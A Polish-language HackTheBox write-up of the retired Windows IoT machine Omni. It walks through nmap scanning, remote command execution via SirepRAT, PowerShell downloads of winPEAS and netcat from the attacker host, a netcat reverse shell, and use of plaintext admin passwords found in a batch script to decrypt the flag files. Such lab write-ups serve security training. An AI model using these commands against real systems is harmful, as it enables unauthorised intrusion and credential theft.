Writeup: Maszyna HackTheBox Omni

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Omni - spełnia ten warunek.

Machine Info

1. TLDR

Omni graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.204

3. Skanowanie i rozpoznanie

Na początek użyłem narzędzia nmap do identyfikacji otwartych portów:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 17:15 CEST
Nmap scan report for 10.10.10.204
Host is up (0.035s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.98 seconds

W międzyczasie użyłem przeglądarki i przeprowadziłem szybki test usługi HTTP. Na maszynie była hostowana usługa HTTP wykorzystująca The ‘Basic’ HTTP Authentication Scheme (RFC 7617):

Omni SignInForm

Wynik skanowania narzędziem nmap ujawnił, że usługa http na porcie 8080 to Windows Device Portal, który stanowi interfejs zarządzania urządzeniem IoT.

4. Uzyskanie dostępu

Przegląd artykułów dostępnych w sieci dotyczących urządzeń IoT kontrolowanych przez rozwiązania Microsoftu, doprowadził mnie do tego artykułu i ostatecznie do narzędzia SirepRAT.

Spróbowałem więc wykonać testowe polecenie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP GetSystemInformationFromDevice
<SystemInformationResult | type: 51, payload length: 32, kv: {'wProductType': 0, 'wServicePackMinor': 2, 'dwBuildNumber': 17763, 'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'wSuiteMask': 0, 'dwPlatformId': 2, 'wReserved': 0, 'wServicePackMajor': 1, 'dwMinorVersion': 0, 'szCSDVersion': 0}>

Polecenie zakończyło się poprawną odpowiedzią, przystąpiłem zatem do uzbrojenia się w narzędzie winPEAS i przygotowania shella:

┌─[t4wny0wl@whitehatlab]─[/opt/SirepRAT]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49675
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat ./
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $cp /usr/share/windows-resources/binaries/nc64.exe ./74wny0wl.exe

Pobrałem winPEAS.bat oraz kopię nc64.exe na atakowaną maszynę:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c powershell Invoke-WebRequest -OutFile C:\Users\Public\winPEAS.bat -Uri http://10.10.14.182/winPEAS.bat" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c powershell Invoke-WebRequest -OutFile C:\Users\Public\74wny0wl.exe -Uri http://10.10.14.182/74wny0wl.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

Tak przygotowany, nawiązałem połączenie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $python SirepRAT.py $IP LaunchCommandWithOutput --return_output --cmd "cmd.exe" --args "/c C:\Users\Public\74wny0wl.exe 10.10.14.182 443 -e powershell.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

i pozyskałem nazwę aktualnego użytkownika:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49697
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $env:UserName
$env:UserName
omni$

5. Eskalacja uprawnień: omni ⇨ administrator

Uruchomiłem narzędzie winPEAS:

PS C:\windows\system32> cmd
cmd
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>cd C:\Users\Public
cd C:\Users\Public

C:\Users\Public>winPEAS.bat
...
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [+] ENVIRONMENT <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
[i] Interesting information?
ALLUSERSPROFILE=C:\Data\ProgramData
APPDATA=C:\Data\Users\System\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=omni
ComSpec=C:\windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
expl=no
LOCALAPPDATA=C:\Data\Users\System\AppData\Local
long=no
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\windows\system32;C:\windows;C:\windows\System32\OpenSSH\;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 1 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=0102
ProgramData=C:\Data\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PUBLIC=C:\Data\Users\Public
SystemDrive=C:
SystemRoot=C:\windows
TEMP=C:\Data\SystemData\Temp
TMP=C:\Data\SystemData\Temp
USERDOMAIN=WORKGROUP
USERNAME=omni$
USERPROFILE=C:\Data\Users\System
windir=C:\windows
...

Analiza wyniku działania narzędzia winPEAS ujawniła, że dane użytkowników są przechowywane w katalogu C:\Data\Users:

C:\Data\Users>dir /a
dir /a
 Volume in drive C is MainOS
 Volume Serial Number is 3C37-C677

 Directory of C:\Data\Users

07/04/2020  07:28 PM    <DIR>          .
07/04/2020  07:28 PM    <DIR>          ..
07/04/2020  09:48 PM    <DIR>          administrator
09/07/2020  11:35 AM    <DIR>          app
07/04/2020  12:22 AM    <DIR>          Default
07/03/2020  11:22 PM    <DIR>          DefaultAccount
07/03/2020  11:22 PM    <DIR>          DevToolsUser
08/21/2020  01:55 PM    <DIR>          Public
07/04/2020  10:29 PM    <DIR>          System
               0 File(s)              0 bytes
               9 Dir(s)   4,692,115,456 bytes free

W katalogu użytkownika administrator oraz app znalazłem interesujące pliki: root.txt, user.txt, user.xml, iot-admin.xml oraz hardening.txt. Zawartość pierwszych czterech została zaprezentowana poniżej. Pliku hardening.txt nie udało mi się odczytać ze względu na brak uprawnień:

C:\Data\Users\administrator>type root.txt
type root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>

C:\Data\Users\app>type user.txt
type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type user.xml
type user.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type iot-admin.xml
type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">omni\administrator</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
    </Props>
  </Obj>
</Objs>
C:\Data\Users\app>type hardening.txt
type hardening.txt
Access is denied.

Próbowałem odczytać zaszyfrowane hasła w poniższy sposób, niestety bez powodzenia:

PS C:\Data\Users\administrator> $serialized = Get-Content root.txt
$serialized = Get-Content root.txt
PS C:\Data\Users\administrator>  $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
 $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
Exception calling "Deserialize" with "1" argument(s): "Error occurred during a 
cryptographic operation."
At line:1 char:2
+  $cred = [System.Management.Automation.PSSerializer]::Deserialize($se ...
+  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CryptographicException
 

W mocno okrojonym systemie operacyjnym brakowało wielu narzędzi. Wypisałem więc listę aktualnie uruchomionych procesów:

PS C:\Data\Users> Get-CimInstance Win32_Process | Select-Object -Property ProcessId, Name, CommandLine | Format-List
Get-CimInstance Win32_Process | Select-Object -Property ProcessId, Name, CommandLine | Format-List


ProcessId   : 0
Name        : System Idle Process
CommandLine : 
...
ProcessId   : 1668
Name        : cmd.exe
CommandLine : C:\windows\system32\cmd.exe /c ""C:\Program 
              Files\WindowsPowerShell\Modules\PackageManagement\r.bat""
...

Moją uwagę zwrócił jeden z nich: proces cmd.exe, który korzystał ze skryptu r.bat przechowywanego w nietypowej lokalizacji. Odczytałem zatem plik r.bat:

PS C:\Data\Users> type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

W ten sposób ujawnione zostały dwa zestawy danych uwierzytelniających:

Zalogowałem się do portalu jako użytkownik app i uruchomiłem przesłaną kopię narzędzia netcat:

User shell

Posiadając dostęp do shella, odczytałem flagę z pliku C:\Data\Users\app\user.txt:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49682
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $serialized = Get-Content C:\Data\Users\app\user.txt
$serialized = Get-Content C:\Data\Users\app\user.txt
PS C:\windows\system32> $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
PS C:\windows\system32> $cred.GetNetworkCredential().Password
$cred.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70

Zalogowałem się do portalu jako administrator i w ten sam sposób uruchomiłem przesłaną kopię narzędzia netcat. Następnie odczytałem flagę z pliku:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Omni]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.10.204] 49683
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32> $serialized = Get-Content C:\Data\Users\administrator\root.txt
$serialized = Get-Content C:\Data\Users\administrator\root.txt
PS C:\windows\system32> $cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$cred = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
PS C:\windows\system32> $cred.GetNetworkCredential().Password
$cred.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d

6. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności:

Sirep Test Service